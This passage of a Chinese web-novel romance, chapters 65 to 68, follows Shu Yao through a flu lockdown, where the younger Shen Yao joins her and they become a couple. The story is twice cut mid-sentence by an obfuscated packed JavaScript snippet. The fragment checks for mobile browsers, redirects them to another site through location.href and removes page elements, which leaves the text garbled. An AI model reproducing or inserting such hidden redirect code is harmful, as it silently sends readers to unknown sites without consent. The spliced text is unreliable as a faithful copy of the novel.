两个对感情都认真的人,再怎么样也不至于做得太出格。 舒妈妈本身是个很开明的人,经过今晚对男生的试探,她相信女儿一定能处理好和这个小男生之间的情感羁绊。 几杯热茶下肚,谈话也进行到尾声。 舒妈妈看了眼时间,沈曜便颇识相地站起,准备告辞。 恰在此时,门铃响了。听那“叮咚、叮咚”有些紧促的节奏,屋里的三人都是一阵愕然。 已经快接近晚上九点了,这时候应该是佟萱下晚自习回来的时间。 可是她有钥匙啊…… 就在三人有些愣神的空档,门铃又响了两声。 舒瑶和舒妈妈同时蹙起眉头看向门口。 舒妈妈刚站起身打算去问问门外是谁,沈曜却伸出胳膊虚虚拦了她一下,“阿姨您坐,我去看看是谁。” 舒妈妈心道还好今晚沈曜在这儿,不然这么晚了,有人在门外如此急切地摁门铃,怪瘆人的。 她觉出这小男生细心又体贴,心里不禁又给他加了两分。 沈曜一边透过猫眼往外看,一边沉声问:“谁?” “是我。”门外是个长相儒雅俊秀的男人,“齐君。” 原来是熟人。 沈曜回头望向舒瑶,轻声问她:“是齐君。开门吗?” 齐君?那不是佟萱的男朋友吗? 舒瑶纳闷怎么来的是齐君,而不是佟萱。“开门吧。” 按理说这时候萱萱应该回来了,她没回来,一定是有事耽搁了。齐君估计是过来替她交代什么事吧。 沈曜依言将门打开,却没让出道请他进屋,“怎么是你,佟萱呢?” 齐君的呼吸急促,头发也有些凌乱,看模样是一路跑过来的。 他的神情里带着明显的担忧和焦急,“抱歉,这么晚来打扰你们。萱萱学校查出十几个学生得了新型流感,她们整个学校都被暂时封闭隔离了。我来帮她取一些生活用品和电脑送过去。” 这种新型流感最大的特点,就是会对肺部造成不可逆的伤害,所以不论是医院还是群众,对这个流感传播的管控和防范都极为重视。 新闻里每天都会播报关于这个新型流感的消息,提醒群众加强消毒和防护,非必要时,一定要尽可能避免去人群密集的地方。 但万幸的是,之前海城还没发现这种流感的病症,所以舒瑶他们公司与汉广办的展览活动才能如期举行。 此时乍然听到齐君带来的消息,舒瑶猛地泛起一阵后怕和担忧。 舒妈妈一听,也跟着紧张起来,“哎呦!这可不是小事。最近总听新闻里说隔壁的宜市哪里哪里发生新型大流感被隔离了。没想到现在海城也有了。” 舒瑶和沈曜对望一眼,他们当然明白事情的严重性,脸上不约而同地笼上一层阴影。 65.心动了 舒瑶神情凝重,问齐君:“萱萱的学校什么时候能解封?” 齐君的脸色也不好,“不清楚,现在还没明确通知。听说不是她们系里的学生被传染,但一下子冒出十多个,学校对此很重视。参考隔壁宜市的情况,有些发生流感的区域封禁约莫都在两到四周之内。我估计他们少说也得封禁两星期。” 舒瑶叹了口气,给齐君指了指佟萱的房间,又让舒妈妈将卫生间里一套浅绿色的护肤品拿出来交给齐君。 “这些是萱萱平时用的,你一起给她带过去吧。还缺什么,到时候随时联系我。”舒瑶说。 齐君点点头,没多说什么。这些护肤品是他买给佟萱的生日礼物,他自然认得。 齐君进了佟萱的房间,将她所需要的生活必需品和笔记本电脑快速归拢打包好。 对于此事,在场的几人都感到无可奈何。 人类在疫病面前,都是脆弱而渺小的。只能在最大范围内做好消毒和防护措施保护自己了。 因为佟萱不在,舒瑶的腿脚又不方便,舒妈妈便暂时住过来,帮着照顾女儿。 沈曜则继续负责接送舒瑶上下班的体力活。 就这么熬过了七、八天,舒瑶的脚恢复良好,总算能拆绷带了。 拆绷带那天舒妈妈是陪着一块儿去的,从诊室里出来时,舒瑶望着伫立在几米之外的男生,不禁有些恍惚。 他站在诊室外的落地窗旁,望着一株开得正好的丁香树出神。 明媚的阳光从窗外漫泻进来,照得整条走廊都金灿灿暖洋洋的。连带着男生的轮廓,都笼在暖阳的七彩光晕中。 阳光太过耀眼,反而将他俊美的侧脸隐在明晃晃的光芒里,舒瑶只能看清他双手插在裤兜里,挺拔地立在落地窗边的身形侧影。 舒瑶不由自主联想到第一次与他见面那会儿的场景。 当时她的脚被他不小心夹伤了,也是他陪着她去医院。虽然他是被逼着去的。 然而时光轮转,七年后的今天,自己的脚不小心扭伤,却是他主动一直陪护自己。 缘分真是个奇妙的东西。 原本她以为不会再和他有交集,对方只是在彼此漫长的生命线里短暂交叠了一小段时光。 谁料一千多个日夜过去,他又重新回到了自己身边,与自己的人生再次产生交集。 与男生相处的点滴画面在她心里走马灯似的逐一掠过。 就在这一瞬间,在医院洒满阳光的这个场景下,一种强烈的直觉在舒瑶脑中一闪而过。 她觉得他不会是自己生命中的过客,他的长情给足了自己安全感。 看到他,她就觉得很踏实。 舒瑶回忆起和杨衍还没开始之前的那段暧昧经历。当年她知道杨衍很优秀,足够耀眼,可是他给她的感觉总是飘忽不定。 人都有直觉,但她那时候被他的外在条件和自己的冲动情感迷了眼,忽略了自己心灵深处的直觉。 再看眼前站在阳光下等待自己的年轻男人,她的心海情不自禁地泛起阵阵微澜。 以前单就是觉得男生长得很帅,十分养眼,但不至于令她心动。 最近也不知怎么回事,只要看到他,却觉得他的帅气会使自己的心怦然乱跳。 难道不知不觉间,她已将这小男生当成真正的男人看待了? 她这算是日久生情吗? 舒瑶自己都没发现,她此刻望着男生侧影的目光有多专注。 舒妈妈在一旁看得分明,女儿看向那个小帅哥的眼中是蕴含情意的。 “瑶瑶,想什么呢?想得这么出神。”舒妈妈假装不知道,和蔼地问她。 舒瑶回过神来,似乎被人不小心撞破心事。 她莫名感到心虚,下意识地拉着母亲躲到走廊的拐角处,认真想了想,探她口风:“妈妈,你希望我找个什么样的男朋友?” 舒妈妈顿了片刻,了然笑道:“希望你找个自己喜欢的,人品要正直善良可靠,要爱你又懂得疼你的;有一技之长能养活自己的就行。还有一点很重要,就是生活习惯和自理能力不能太差,比如为人懒惰。否则以后你们在一起生活,你就相当于给自己找了个24小时年终无休的大型垃圾制造机。当然,如果你自己愿意,我也不会阻拦你。” “哈哈哈哈~”舒瑶听到妈妈的形容词,忍不住笑起来,亲昵地搂了搂母亲的肩膀,“知道了。他要是个懒惰又教不好的人,我就把他踢了。” 舒妈妈瞥她一眼,眼里都是笑意,“踢得对。我们可以走错路,但也可以选择退出。” 其实想找什么样的男朋友,舒瑶心里一直都很清楚,但是父母的意见她也得过问。 这并不代表她在这方面没主见,而是她觉得如果连问都不问,会显得对父母不够尊重。 再说父母一路走来,见多识广,了解一下他们的意见和看法,取其精华采纳,对自己并无坏处,只要最终的主意自己能决定就行。 舒瑶继续问:“没其他要求了?家世,钱财,社会地位?” 舒妈妈轻轻拍了一下女儿,笑斥道:“公开定价啊?家世和我们家差不多就行。太穷了你今后就得帮扶一加一,太富了你大概会觉得有压力吧。总之对象是你自己找的,找到之前想好未来的后果,仔细考虑好你今后想和他过什么样的生活。” 舒瑶点头表示知道了。 该向母亲了解的都已问得差不多。还剩最后一个问题,她需要再探探母亲的想法。 舒瑶犹疑一会儿,咬着嘴唇,态度有点小心翼翼:“年龄呢?年龄你有没有什么特别要求?比如,不能找太小的,或者太老的?” 年长的人应该都会希望男方比女方年纪大些吧,但又不能大太多。在他们看来,年纪大一点的男人更懂事,也更可靠。 舒妈妈心里跟明镜似的,听出女儿话里有话。 她嘴边的笑容扩大了些,盯着女儿的脸似笑非笑道:“成年的就行。妈妈很开明的。” “咳咳咳……”舒瑶尴尬地咳嗽几声,垂下脑袋“哦”了一声。 舒妈妈宠溺地看着女儿,敛起笑容,认真提醒道:“当然如果要结婚的话,对方父母的人品不能差。还有,如果对方父母不支持你们,那这个男人你就算再喜欢,也不能和他结婚。因为就算结婚了,公婆对你们的生活干涉的多,你会过得很辛苦。恋爱和结婚是两回事。” 提及人生大事,舒妈妈不免一阵语重心长: “恋爱是两个人的事,可结婚是两个家庭的事。妈妈不想看到你过得辛苦,受别人家的气。所以在认真地进入一段恋爱之前,并且你有和对方结婚的意向,你就得提前了解对方父母的态度,才可以考虑怎么走下一步。” “知道了,妈妈。”舒瑶调皮地眨了一下左眼,“你女儿不傻,精着呢。” 舒妈妈捋了捋她的头发,耐心道:“妈妈知道你有自己的想法,是个独立又要强的女生,所以这方面我从来不催你,就怕影响你的决定。万一以后你过得不好,会怨我的。最终的主意还得 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马上就要期末考了,他还要抽空去舒瑶所在的公司实习,还得见缝插针的去师兄的律所参与一些项目,帮助收集和整理案件资料、梳理涉及到的法律条款。 所以当他在赶去律所的途中接到王若安的求助电话时,第一反应就是拒绝。 “求求你了,哥!我都叫你哥了还不行么!”王若安在电话那头差点声泪俱下,“我女朋友要到海城参加她亲戚的葬礼。现在有新流感,要不是这种生死大事,这段时期她绝对不会没事瞎跑瞎窜的。你就帮我去机场接她一下呗?我本来打算请我姐去的,但我才刚知道她的脚前阵子受过伤,还没好透,我可不舍得再麻烦她去接我的小宝贝。” 沈曜单手插在裤兜里等红绿灯,听到对方提及舒瑶时“啧”了一声,心想你要是敢麻烦你姐你就死定了。 “她不会用手机吗?这世上有地铁、有出租车这种东西,还有N种可以定网约车的App。”沈曜面无表情地怼他。 王若安快要跪了,语气委屈又卑微,呐呐道:“这种每天要接不知道多少旅客的交通工具,我不放心啊。我的小宝贝身娇体弱,万一被感染了怎么办。就算被传染普通感冒,那也折腾人啊。” 沈曜依旧铁面无私,“你的店长呢?论熟悉程度,你麻烦他去接你女友更合适吧?” 王若安说话快得像倒豆子,“齐君每天要管三家店,还有一家等着要开张的在筹备,还得给他女朋友当跑腿。他自己都自顾不暇了,我哪里好意思因私事去打扰他。” 沈曜翘起嘴角,拽兮兮地讥讽道:“你就好意思来烦我?我俩很熟?” 王若安斩钉截铁地说:“那肯定不熟。也就打过一架,另外一起卖过一次奶茶,没什么交情。” 你还挺有自知之明。 沈曜冷嗤一声,“你知道就好。” “但是!我还得求你帮忙!”王若安继续厚脸皮地说。 “这事没得谈。挂了。”沈曜无情回绝。我要是答应你我就不姓沈。 还差一秒,牛逼轰轰的俊美青年就要按下红色挂断键。 王若安求了半天,未果。 沈曜比他还小几岁,他连“哥”都不知道喊了几声,结果这铁石心肠的家伙仍然油盐不进,半点儿江湖义气都不讲。 王若安实在忍无可忍,眼睛咕噜噜一转,祭出最后一张王牌,弱弱地喊了一声:“姐夫。” 沈曜:“……” 66.奔赴 不得不承认,舒瑶这个行事风格跳脱的弟弟,头脑还是很灵光的。 酷哥缓缓吐了口气,自嘲以后Flag不能立得太早,越早越坚定,打脸就会越快。 “把你女友的航班号和手机号发我。我找你姐借车去接她。” 王若安满意了,在电话那头露出一个得逞的笑容,“马上发!谢了,小姐夫!” - 一整天高强度的上课、工作结束后,沈曜还花了两小时去替王若安接机送人,忙得连晚饭都没来得及吃。 到了房间开了瓶矿泉水,一分钟不到就被他干光了。 周思诺看他最近忙得团团转,连黑眼圈都出来了,于心不忍地劝道:“兄弟,你这连轴转快两个多月了吧。身体受得了吗?悠着点吧,别追个女朋友把自己累得肾虚了。” 沈曜靠坐在椅子上,伸着两条无处安放的大长腿,右手揉着太阳穴,懒懒地掀起眼皮瞪了对方一眼,不轻不重地说:“滚蛋。我肾好着呢。” 周思诺苦口婆心,“你别瞪我啊。别以为年轻就不把自己的身体当回事。” 说着,还将自己的镜子递给他,“你瞅瞅,你的黑眼圈多深啊。虽说咱颜值底子好,但这也减分了不是。万一到时候被你的小姐姐嫌弃了怎么办?” 沈曜当然能明白兄弟是心疼自己。他站起来伸了个懒腰,拿了换洗衣物就往卫生间走,“这就洗洗睡。” 他手刚搭上卧室的门把手,桌上的手机就响了。 周思诺在旁边咂巴几下嘴,心想好哥们儿这个澡怕是洗不成了? 沈曜转身拿起手机,来电显示是梅悦儿。 这么晚打来电话是什么事? 沈曜接起手机,就听梅悦儿着急的嚷嚷声传出来:“沈曜!你看咱们工作群了吗?” “没。我刚回宿舍。”沈曜听对方语气不对,不自觉地皱起眉头。“怎么?” 梅悦儿语气十分焦急,“不得了了!组长的小区查出新流感感染者,被封了!现在只进不出呢!” 沈曜愣了一秒,脸色猛然一变,转身风一般从衣柜里胡乱抽了几件衣服,又火急火燎地收了一些书和笔记本电脑,往背包里一塞就冲出去了。 周思诺只觉得眼前刮过一阵旋风,接着就没人影了。“哎呦我去。沈曜!人呢?我产生幻觉了?” - 舒瑶刚接到居委会的封小区和封楼的通知时,心里是有点慌的。 小时候有段时间闹非典,因为时间太过久远,自己当时又对这种大疫病没什么概念,所以没怎么感到害怕。所谓无知者无畏,用来形容那时候傻头傻脑的自己正合适。 她除了记得当年所有人都极少出门以外,印象已经非常模糊了。 那段时间因为非典,父母都陪在自己身边,难得的没有出差。一家人能借着那次机会团聚好久,她觉得自己捡了个大便宜。 但现在不同,现在她早已长大懂事,对这类疫病有了深刻的认知。再加上又是自己一个人住,什么意外都得自己独自面对,因此心里多少都会有种孤立无援的恐惧感。 舒瑶深呼吸,告诉自己即便害怕,也必须冷静下来。这样她才能以最正确和理性的方式面对将要遇见的困难。 她先给父母打了通电话,将这边的情况避重就轻地说了一下,好让他们安心。 这种事瞒不住,新闻里每天都在跟进报道疫病感染和小区封禁的消息,如果父母通过新闻得知,那只会使他们更加担心。 之后,她又给自己的直属上司打电话报备了一下自己家被封禁隔离的事。 所幸现在是个网络发达的社会,只要有电有网有电脑,她依然能在家远程办公,不会耽误太多工作。 在工作群里和同事们说明了自己这边的特殊情况,通知组员们有事可以通过电子邮件和手机等联系自己。 将父母和工作安顿完以后,她才放下手机,去厨房里查看家里现有的口粮能维持多久。 因为平时上班工作繁忙,她又是一个人住,佟萱也是在她学校的食堂解决晚饭,她过年时囤得二十斤大米还没开封过。 之前为了帮林娓娓拼单,她在她的撺掇下网购了十块冰冻的菲力牛排。 舒瑶双手交叠放在心口真心感谢亲闺蜜,当时拉她拼单现在看来真的是救了自己一命。 上个月新买的花生油只用过几次,就是早上煎了两个鸡蛋吃。 鸡蛋…… 舒瑶动作轻柔地将冰箱悬栏里的鸡蛋重新点数并摆放整齐,还剩28个。 牛奶两周前她刚买了两箱盒装利乐包,从小她就喜欢喝牛奶,利乐包存放时间长饮用方便,是她为数不多的绝对不会断档的囤货饮品。 米粮油盐不缺,蛋白质也不缺,将家里的口粮盘点完毕,舒瑶的心安定不少。 唯一让她感到头疼的,就是她缺蔬菜和水果。 将冰箱上下翻了个遍,这些不易存放的蔬果只有前天她妈妈买来的五个番茄,和三颗迷你娃娃菜。 舒母知道女儿平时都在外面解决餐食,极少自己下厨,所以当然不会给她买太多生鲜蔬菜。 水果一般她都是现买现吃,所以家里只有三个红富士苹果能够她苟延残喘三天。 蔬菜和水果没法囤,放不了三五天就会干瘪甚至腐烂。 舒瑶仔细思索一阵,拿起手机翻看居委会关于食品配送的问题。 外卖和快递都不被允许送入住宅区,未曾发现感染者的单元楼可以按单元楼的楼号顺序错开时间去小区指定的地点领取。 发现感染者的单元楼则不允许擅自出入楼门,网购的食品会通过小区里的志愿者按时分批配送。 舒瑶从上到下划拉了一阵“中奖”的单元楼号码。 很不幸的,她发现自己这栋楼有被感染者,自己住三楼,而被感染者就住在五楼。 舒瑶原本安定许多的心在看到这个消息时不由地一抖,那种心底慌慌的感觉又有往外泛起的趋势。 舒瑶放下手机,开始打坐调息。她平日有练习瑜伽的习惯,呼吸吐纳能帮她很好的放松心情。 等到心情平复以后,她告诉自己,饿死应该不至于。只要活着,不出门,躲过这段时间应该就能渡劫成功了。 这时候手机响起来,舒瑶一看来电显示,发现是林娓娓。 好闺蜜的安全感送来的很及时,舒瑶看到是她打来电话,心情瞬间敞亮了一点。 “喂。娓娓~~~~”就算是平时要强的舒瑶,此时也急需情绪上的抚慰,喊闺蜜名字的时候,都有点弱弱的撒娇意味。 人嘛,谁还没个脆弱的时候。舒瑶这时候决定认怂。 “啊呀宝贝儿!我听阿姨说你住的华馨苑被封啦。”林娓娓咋咋呼呼的声音从手机里传来,舒瑶听到她熟悉的声音语调,顿时感觉活着真好。 “是啊。”舒瑶的语调中夹着委屈,“不止是我住的小区。而且我住的楼也被封了。” “啥?”林娓娓嗷了一声,声调骤然升了八度,“这么倒霉么!你那边吃的东西够吗?要不要我给你送过来一些?缺什么你赶紧说。” 和闺蜜没什么可隐瞒的,该示弱示弱,该说实话就说实话。 发生这种事,舒瑶的心情不可能好,有点低落地说:“暂时够。混一、两个礼拜没问题。就是感染者在我家楼上两层,我觉得有点心慌。其他的都还好。对了,你可千万别告诉我爸妈,免得他们知道了睡不着觉。” 林娓娓一听也被惊到了,拍了拍小心肝说:“这么恐怖的么!那你一定一定不要出门。家里酒精和口罩够用吗?” “够用。之前一听说疫情我就赶紧囤了一些,以防万一。现在撑两个月肯定没问题。” 舒瑶边说边走到玄关处的储物柜旁,打开柜门看了一眼整齐摆放的口罩和酒精,心下稍安,顺便还在把自己夸了一顿。“我真机智。” 这种时候,她不能太消极,没事多夸夸自己,总没错。 “就是觉得一个人呆家里挺孤单的,不能出门,连楼都出不了,像坐牢。”舒瑶关上柜门,转身准备回卧室躺平当会儿放松的咸鱼。 “没事宝贝儿。明天开始我早晚都给你打电话,陪你聊天。”林娓娓也很无奈,只能尽可能想办法安抚她,“只要饿不死,等你被放出来,我请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她三步并作两步奔过去,连拖鞋掉了一只都没发现。 她实在太惊讶了。 门一打开,舒瑶看见那个比自己小了七岁的青年站在眼前。 高高的个子,修长挺拔地立在门口,像是她的守护神。 他的呼吸很急,额前的几缕碎发不知是被风吹的还是因为剧烈跑动而显得凌乱,有点狂野,还有点拽。 他的眼下青黑,甚至看起来有些憔悴。 但是舒瑶觉得,现在的他是自己认识他以来最帅最被惊艳到的一次。 她惊诧地仰头直视他,颤着声问:“你、你怎么这时候来了?” 现在所有了解实情的人估计都是能离她的单元楼有多远就躲多远,自己往里闯的,除了他应该也没谁了。 就算亲密如夫妻,大难临头也各自飞了。可他却反向飞到了她身边。 “来陪你,守着你。”男生笑说,像是不正经的开玩笑,语气却极认真。“惊不惊喜,感不感动?” 当然惊喜!当然感动! “我们单元楼被封了,你怎么进来的?”舒瑶感觉自己快呼吸不畅了。 男生挑起眉毛,一脸凶神恶煞地回忆道:“我和楼下的大叔吵了一架,他被我吓到了。警告我只能进不能出,就放我进来了。” 自从和这位弟弟重逢后,但凡关键的时候,他总会来到自己身边,不管是主动还是偶然,他都在想尽办法靠近自己。 舒瑶的眼睛里浮着濛濛的水雾,抬手摸了摸他浓密偏硬的头发,“傻小子。你不怕吗?” 男生琥珀色的眼睛亮的摄人,眼里只有她一人,目光炙热得能烫化人的心,“我只怕不能和你生死相依。” 也许是觉得自己说这话有点肉麻,男生赧然撸了把凌乱的额发,低头露出青涩的笑容,仿佛又回到了少年时期。 面对喜欢的女人,他只想紧紧追着她、黏着她,毫不避讳袒露自己的真心。 舒瑶泪盈于眶,喉头一阵哽咽。 在所有人都想逃离的时候,只有他反其道而行,只为向自己奔赴。 这辈子舒瑶很难得会冲动,尤其是对男人,但是这一刻她真的忍不住了。 什么年龄差,什么理想型,什么理智思考沉着冷静。都去他的吧! 在此时此刻,这些对她来说都不重要了。 舒瑶踮起脚,双手一把搂住男生的脖子,心里满满的感动和欣慰,问他:“做我男朋友,你愿意吗?” 67.男朋友 “做我男朋友,你愿意吗?” 沈曜的双手都拎着东西,倏然听到女人说出他朝思暮想的话,整个人都懵了。 “砰通”两声,他双手一松,提着的东西掉落落在地。 听见响动,舒瑶才后知后觉地发现他是带着东西来的。 “你、你说真的?”沈曜惊得眼睛都瞪大了。 此时的小帅哥哪还有什么酷盖的气质,脸上全是妥妥的蠢萌表情,像只被从天而降的大肥鱼砸懵的虎斑大猫咪。 舒瑶觉得这样的他傻傻的好可爱,伸手捏了捏他的脸,“必须是真的。我从来不拿这种事开玩笑,你愿意……” “愿意!愿意!”生怕女人反悔,沈曜没等她的话说完,就满口答应下来。 他求之不得! 得到他的应承,舒瑶阖上嘴,望着男生的眼里有纯粹的欣喜,也有绵绵的情意。 她好像突然之间得到了一个大宝贝,在他说出愿意的那一秒,一直飘着的心终于安全降落。 她其实对这个小男生早就心动了,在一次又一次的感动中逐渐沦陷,但她对两人能不能长久的相守还有些犹豫,所以一直没下定决心。 可是今天,当她看见他出现在自己面前的那一瞬间,心中的禁锢至此破防。 男生的瞳仁颜色偏浅,但每每望着自己时就会变得幽深,舒瑶知道那是男生对自己动情放电的信号,比如现在。 舒瑶开心地捧着他的脸颊亲了一口,秀丽的眉眼之间全是化不开的喜意,“上次你偷亲我,这次该还给我了。” 从此以后,她的生命旅途中会多出一个人,她愿意和他一起去欣赏沿途的风景。 彼此为伴,不再孤单。 - 沈曜感觉自己产生了幻觉。面前这个他惦记并喜欢了很久的女人竟然主动亲自己。 他仿佛看见全世界的烟花在眼前同时炸开,绚烂夺目又瑰丽璀璨,占满了他整个视野。 喜悦使他胸口鼓动起浮地极厉害,他的心快要跳出胸腔了。 他紧紧将她一把拥进怀里,脑袋埋在她的肩窝,感觉彼此紧贴的悸动和体温,声音里满是颤颤的激动,“和你重逢后,我其实一直都很怕,怕你今后的人生里没有我。” 舒瑶被他搂得有些疼,但她一点儿都不想推开他,眼里噙着笑意,“现在不用怕了。只要你不是渣男,我应该不会踢了你。” 她也紧紧回搂住男生。 “我像在做梦。”沈曜心满意足地喟叹。他想要她太久,现在一朝美梦成真,心里反而虚得不踏实,像飘在云端。 舒瑶调皮地挠了挠他的背,又稍微用力地拗了一下他的腰眼。 “嘶……呵呵呵……” 沈曜不怕疼,但受不了痒,被怀里的女人一闹,这才笑着松开她躲到一旁。 “现在确定不是在做梦了吧?”舒瑶看他贴在门边直躲,指着他笑问。 沈曜的脚不小心踢到他带来的背包,这才想起还有这两大袋东西,赶紧一手一个将它们提进屋里。 舒瑶好奇,“你都带的什么?该不会把你宿舍里的东西全都搬来了吧?” 沈曜将一个比普通书包大了两倍的旅行背包靠放在玄关的墙边。那里面是他的笔记本电脑、学习的书籍资料还有几套换洗衣物。 他指着另一个灰色尼龙袋子说:“我看到消息的时候怕你缺吃的,就在我们大学楼下的店里扛了两颗大白菜,还有两袋密封的叫花鸡和一些零食。应该能够你对付一个星期吧。太赶了,我也没仔细算。反正有什么就拿什么了。” 舒瑶心里又是一阵感动,伸手去提那个袋子,结果努力了两次,提起来几厘米就提不动了。 太重了。她估算了一下,单那个灰色尼龙袋约莫就得有四、五十斤。 舒瑶又看了一眼沈曜带来的那个旅行背包,又是电脑又是书的,只听他的形容都知道也很重。 很难想象沈曜是怎么一路把这两个这么重的大包袱给扛过来的。 男生的力气似乎比她想得要大的多。 她明白,在如此特殊的日子,他给她带来的安全感足够填满她的心房。 有他陪着自己,她感觉就算两个月被封在家里也能安然度过。倒不是因为他带来的东西,纯粹只是因为有他在,她觉得精神层面上会心安许多。 舒瑶将门关上,拉起男生的手,发现他两只手都不似以往白净,手指头青紫青紫的,那是长时间拎重物勒出的血瘀痕迹。 舒瑶心疼得不行,捧着小男友的两只手来回搓揉,想帮他缓解淤痕,“我可以叫外卖。有专门的志愿者会上门配送,只不过得等的时间长一些。你没必要买这么多东西过来,你看你的手都勒紫了,得多疼啊!” “刚开始封禁,很多事不会安排得那么周到。万一送来的外卖被压烂了怎么办?那你岂不是又得等?我能多带一些,你挨饿的风险就小一些。”沈曜的考虑很细致。 最近这个疫病在新闻里总被提及,沈曜很早就关注起关于疫病封禁的消息。 他发现全国各地的封禁区都存在着生活物资配送延迟或有人趁乱浑水摸鱼的事件发生,所以当他得知舒瑶的小区发现感染者的第一时间,就想到要买些食材送过来。 男生耐心地和舒瑶解释着他之前的顾虑和安排,给人的感觉不慌不乱,沉稳又可靠。 经历过今晚,舒瑶得出结论:生理年龄和心理成熟度不一定完全匹配。 舒瑶望着男生额际冒出的细汗,心底不禁有点后悔。她应该早点和他尝试着开始。 原来自己对他的喜欢已经这么浓了,不经历今晚,她也许还得过很久才能发现自己的真心。 舒瑶心里满满涨涨的,再次搂住刚确认关系的男朋友,将脸贴在他肩上蹭了蹭,“有你真好。” 男生被她几次不经意地撩拨,笑得眼角泛起淡淡的红意,风流又勾人。 他单手反搂住她的腰,另一手捧握着她的后颈,“有没有后悔没早点和我在一起?” 舒瑶望着他的眼眸水亮亮的,笑嘻嘻地大方承认,“后悔了。感觉有点亏,还好亏得不多。” 两人无声地相拥对视片刻,周遭的温度仿佛都升高了。 沈曜被她的视线看得心头灼烧起来,阵阵热意直冲头顶。 他蓦地收起笑意,轻轻一压她的后颈,眸色黯下来。“那奖励我一个?” “你想要什么奖……”舒瑶话没说完,就感觉眼前挡下一片阴影。“唔……?” 紧接着,男人温烫的嘴唇就贴上了她的。 舒瑶杏眸圆睁,顿时忘了呼吸,覆在唇上的温软热度让她眩晕。 这男生还和以前一样,一直是个行动派,有时候会冲动行事,但此时在她眼里很可爱。 这算不算情人眼里出西施? 短暂的惊讶过后,她默许了他的亲吻。 沈曜用力箍着她的腰,嘴唇颤得厉害,几次都轻轻磕到她的牙齿。 但他仍倔强地与她的唇瓣摩挲相贴,继而尝试着轻轻吮吸她的双唇。 温热的气息喷洒在彼此的唇齿之间。 舒瑶尽力放松身体,想带动引导他,让他别那么紧张,但她自己也紧张地直打颤。毕竟她的恋爱经验泛善可陈,而且还空窗了好几年,不比男友强多少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023983|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可作为年长一些的姐姐,她觉得自己有必要主动一些。她主动启唇,以口中的柔软去勾缠男友青涩的唇齿。 男友顿时绷紧身体,动作越发僵硬了。 太纯情了,真惹人疼爱…… 舒瑶伸手轻柔地摸了摸沈曜的后脑勺,像是在安抚他初吻的莽撞和激动。 沈曜气喘得有些急,如获至宝地紧拥着她,温热的呼吸不停地喷在她的脸侧。 他是第一次恋爱,也是第一次亲女生,心里紧张到快爆炸,满脸通红也毫不退缩,只想和她多多亲近。 停顿几秒,沈曜的唇才略微撤开,末了还意犹未尽,又匆忙在舒瑶的下唇上轻轻咬了一下才退离。 一个毫无章法又甜到让人飘飘然的亲吻。 舒瑶的眼睛因他的吻而泛起一阵水光,粼粼的眼波像是秋天的湖水。 他眸中的侵略和浓情混合在一起,深情抵着她的额头,凝视她,用暗哑的嗓音低喃道:“亲一下。” “你都亲完了,现在才说会不会太晚了。”舒瑶被他抵在墙上,忍不住呵呵笑起来,手掌在他宽阔的背部来回摩挲,像在抚慰他还没平复的悸动情绪。 沈曜喜悦的连脖子都红了,说出的情话甜的发腻,“太高兴了。好喜欢你。” 舒瑶头一次遇见这么直白的男人,心想小男友也有小男友的优势,真诚又热情,太招人喜欢了。 “男朋友,你的吻技还有待提高啊。”舒瑶禁不住逗他,用鼻尖亲昵地蹭了蹭他的鼻尖。 沈曜彻底坠入爱河,完全不禁逗,整个人又贴紧怀里的女朋友,声音又沉又哑,眸光变得异常深邃,“那再多亲几次。” 舒瑶被他撩得有点冒热汗,羞赧地轻轻拗了拗他的耳朵,“才不要。” 沈曜根本不听她的,再次伏下脑袋压上她的唇瓣。 两人正待第二次热烈的亲密Kiss,奈何一旁的手机在此时传出了人声。 “那个……” 好闺蜜的声音,通过手机传来,“我围观好久了,被狗粮喂得很饱。” 舒瑶和沈曜:“……” 舒瑶连忙从沈曜的怀里钻出来,羞赧的想立即遁地。她趿拉着一只拖鞋跑到茶几旁,拿起手机关掉免提,“抱歉啊娓娓,虚、虚惊一场。” 一不小心被好闺蜜听了个恋爱关系确定的全场,还爱心大放送了第一次热吻。尽管舒瑶不是扭捏的性格,也够她难为情的了。 其实林娓娓只听到了他们在接吻之前的一些对话,并没听到那个吻。从大门到茶几有好几米的距离,她从手机里根本不可能听清。只是那两人说着说着忽然没了声,敏锐的她才猜出他们刚才应该在接吻。 可是舒瑶心虚,所以她以为林娓娓听全了他们二人之间的亲密。 但是这些都不重要,重要的是舒瑶终于与沈曜确定了恋爱关系。 “不不不。我磕糖磕的很满足。”林娓娓咯咯的夸张笑声一听就很嗨,回荡在客厅里,“恭喜好姐妹脱单了!我追了好几年的言情文终于HE了哈哈哈~” 舒瑶被她臊得鼻尖直冒汗,“不、不和你说了。我要和他去收拾东西。他带了好多东西过来。” 林娓娓在手机那头儿开心的快要原地转圈圈了,“嘿嘿嘿~我都听到啦。去吧去吧。” “哦对了!”舒瑶刚想挂断,林娓娓的声音又响起。 舒瑶脸红地问:“怎么了?” 林娓娓揶揄道:“福兮祸之所伏。看来这次封禁,你可以开启崭新的人生副本了。” 舒瑶被她说得稀里糊涂的,“什么?什么副本?” 林娓娓笑得像只狐狸:“金屋藏夫。” 68.金屋藏夫(一) 听完好闺蜜那烫嘴的四个字,舒瑶“嘟”的一声果断挂断了电话。 沈曜将门边的两个大包袱提进客厅,见舒瑶脸上是想笑又无奈的表情,不由好奇:“她说了什么?” “没、没什么。”舒瑶心虚地理了理头发,发现鬓边的碎发滑落不少,干脆拆了头绳将头发披散,重新又用手指梳理束起。 沈曜站在客厅里一动不动,看着她的动作,浅棕色的眼眸直勾勾的。 “你呆那儿干嘛?”舒瑶看着他定格的样子,调侃道:“姐姐虽然比你大,但风姿尚可吧?” 沈曜眨了眨眼,像是灵魂又回归身体里,“你青春年少的样子我又不是没见过。那时候漂亮,现在更是漂亮,而且还多了丝风韵,像个妖精。” 